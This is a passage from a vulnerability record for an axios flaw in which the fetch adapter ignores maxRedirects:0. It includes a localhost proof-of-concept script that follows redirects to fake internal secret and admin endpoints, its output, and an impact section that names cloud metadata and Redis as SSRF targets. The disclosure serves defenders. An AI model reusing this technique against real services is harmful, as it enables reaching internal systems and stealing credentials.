'arn:aws:iam::000000000000:role/FakeProductionRole',\n }));\n }\n\n if (req.url === '/internal/admin/config') {\n internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };\n res.writeHead(200, { 'Content-Type': 'application/json' });\n return res.end(JSON.stringify({\n reached: 'state-changing internal admin endpoint',\n changed: true,\n internalConfig,\n }));\n }\n\n res.writeHead(404);\n res.end();\n});\n\nawait Promise.all([\n new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),\n new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),\n]);\n\nconst targetUrl = 'http://127.0.0.1:13801/api/data';\nconst changeUrl = 'http://127.0.0.1:13801/api/change-config';\nconst internalUrl = 'http://127.0.0.1:13802/internal/secrets';\nconst internalCfg = 'http://127.0.0.1:13802/internal/admin/config';\n\nconsole.log('Axios maxRedirects bypass via fetch adapter PoC');\nconsole.log(`axios VERSION=${axios.VERSION}`);\nconsole.log(`maxRedirects=0`);\nconsole.log(`Target URL=${targetUrl}`);\nconsole.log(` redirects to ${internalUrl}`);\nconsole.log(`Change URL=${changeUrl}`);\nconsole.log(` redirects to ${internalCfg}`);\nconsole.log('');\n\n// CONTROL: HTTP adapter correctly enforces maxRedirects: 0\nlet httpBlocked = false;\ntry {\n await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });\n console.log('[CONTROL] HTTP adapter + maxRedirects:0 BUG: should have thrown');\n} catch (err) {\n httpBlocked = true;\n console.log(`[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (${err.code ?? err.message})`);\n}\nconsole.log(`[CONTROL] Internal hits after HTTP adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter silently ignores maxRedirects: 0\nlet fetchResponse = null;\ntry {\n fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });\n console.log('[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗');\n console.log(' Response:', JSON.stringify(fetchResponse.data));\n} catch (err) {\n console.log('[BYPASS] Fetch adapter + maxRedirects:0 redirect blocked (unexpected):', err.message);\n}\nconsole.log(`[BYPASS] Internal hits after fetch adapter: ${internalHits}`);\n\n// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint\nlet changedResponse = null;\ntry {\n changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });\n console.log('[BYPASS] Fetch adapter state change:', JSON.stringify(changedResponse.data));\n console.log(`[BYPASS] Internal hits after state change: ${internalHits}`);\n} catch (err) {\n console.log('[BYPASS] State change request blocked (unexpected):', err.message);\n}\n\n\nconsole.log('');\n\nif (httpBlocked && fetchResponse && changedResponse) {\n console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');\n console.log(' reaching internal service and mutating internal state.');\n} else if (httpBlocked && fetchResponse) {\n console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');\n console.log(' reaching internal service that should have been unreachable.');\n} else if (!httpBlocked) {\n console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');\n} else {\n console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.');\n}\n\nserverA.close();\nserverB.close();\n```\n\nRun:\n\n```bash\nnode poc-max-redirects.mjs\n```\n\nObserved:\n\n```text\nAxios maxRedirects bypass via fetch adapter PoC\naxios VERSION=1.17.0\nmaxRedirects=0\nTarget URL=http://127.0.0.1:13801/api/data\n redirects to http://127.0.0.1:13802/internal/secrets\nChange URL=http://127.0.0.1:13801/api/change-config\n redirects to http://127.0.0.1:13802/internal/admin/config\n\n[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERR_BAD_RESPONSE)\n[CONTROL] Internal hits after HTTP adapter: 0\n[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗\n Response: {\"secret\":\"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY\",\"role\":\"arn:aws:iam::000000000000:role/FakeProductionRole\"}\n[BYPASS] Internal hits after fetch adapter: 1\n[BYPASS] Fetch adapter state change: {\"reached\":\"state-changing internal admin endpoint\",\"changed\":true,\"internalConfig\":{\"compromised\":true,\"source\":\"redirect-followed-by-fetch-adapter\"}}\n[BYPASS] Internal hits after state change: 2\n\nPOC RESULT: fetch adapter followed redirects despite maxRedirects:0,\n reaching internal service and mutating internal state.\n```\n\n## Control\n\nAxios does correctly enforce `maxRedirects: 0` in the HTTP adapter. The `[CONTROL]` case above confirms this: the same request with `adapter: 'http'` throws rather than following the redirect, and the internal hit counter stays at `0`:\n\n```text\n[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERR_BAD_RESPONSE)\n[CONTROL] Internal hits after HTTP adapter: 0\n```\n\nThe issue is not that `maxRedirects` is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no `redirect` constraint to the underlying `fetch()` call.\n\n## Impact\n\nThis is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.\n\nThe internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that `maxRedirects: 0` is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.\n\nThe impact is environment- and configuration-dependent. It affects axios users who:\n\n- Set `maxRedirects: 0` as a defense against redirect-based SSRF, and\n- Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration\n\nIn these cases, a `302` redirect from the initial target is followed silently by default, unless the caller separately sets `fetchOptions.redirect`. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that `maxRedirects` was not honoured. The failure is silent: no error is thrown, no warning is logged.\n\nThe bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.\n\nPotentially affected environments include:\n\n- Deno and Bun applications using axios where the fetch adapter is the default.\n- Cloudflare Workers using axios, which has no Node.js `http` module.\n- Node.js applications that explicitly configure `adapter: 'fetch'` or a custom adapter list that resolves to fetch.\n- Any application that conditionally sets `maxRedirects: 0` and runs across multiple environments with different adapter selection.\n\nInternal services reachable via a redirect include cloud instance metadata endpoints (`169.254.169.254`), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: `0` after the HTTP control, `1` after the confidentiality bypass, `2` after the integrity bypass.\n\nThis should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that `maxRedirects: 0`, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.\n
\n\n---", "title": "github - https://github.com/advisories/GHSA-r4gj-5m52-g5wh" }, { "category": "other", "text": "0.00414", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "title": "CVSSV4" }, { "category": "other", "text": "7.0", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.1", "title": "NCSC Score" }, { "category": "other", "text": "There is product data available from source Certbundde", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Is related to an uncommon product vendor, Is related to a product by vendor Red Hat, The value of the most recent CVSS (V3) score, The CVSS vector string contains AV:N (Attack Vector: Network)", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 2\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-9482863", "CSAFPID-6014972", "CSAFPID-8902830", "CSAFPID-8902831", "CSAFPID-9053231", "CSAFPID-8925638", "CSAFPID-9484963", "CSAFPID-9484962", "CSAFPID-9484961", "CSAFPID-9527307", "CSAFPID-9527315", "CSAFPID-9527321", "CSAFPID-9773074", "CSAFPID-9773075", "CSAFPID-9773076", "CSAFPID-9773077", "CSAFPID-9773078", "CSAFPID-9773079", "CSAFPID-9773080", "CSAFPID-9773081", "CSAFPID-9773082" ], "known_not_affected": [ "CSAFPID-8476867", "CSAFPID-1409455" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101907" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-101907" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-101907" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/security/cve/CVE-2026-101907" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-101907" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-r4gj-5m52-g5wh" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-101907.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-r4gj-5m52-g5wh.json?alt=media" }, { "category": "external", "summary": "Source - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-4056.json" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/pull/11141" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/releases/tag/v1.20.0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv; redhat", "url": "https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-101907" }, { "category": "external", "summary": "Reference - github; osv; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101907" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-r4gj-5m52-g5wh" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101907.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-4056.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-4056" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://confluence.atlassian.com/security/security-bulletin-october-20-2026-1874690162.html" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-6014972", "CSAFPID-8902830", "CSAFPID-8902831", "CSAFPID-8925638", "CSAFPID-9053231", "CSAFPID-9482863", "CSAFPID-9484961", "CSAFPID-9484962", "CSAFPID-9484963", "CSAFPID-9527307", "CSAFPID-9527315", "CSAFPID-9527321", "CSAFPID-9773074", "CSAFPID-9773075", "CSAFPID-9773076", "CSAFPID-9773077", "CSAFPID-9773078", "CSAFPID-9773079", "CSAFPID-9773080", "CSAFPID-9773081", "CSAFPID-9773082" ] } ], "title": "CVE-2026-101907" } ] }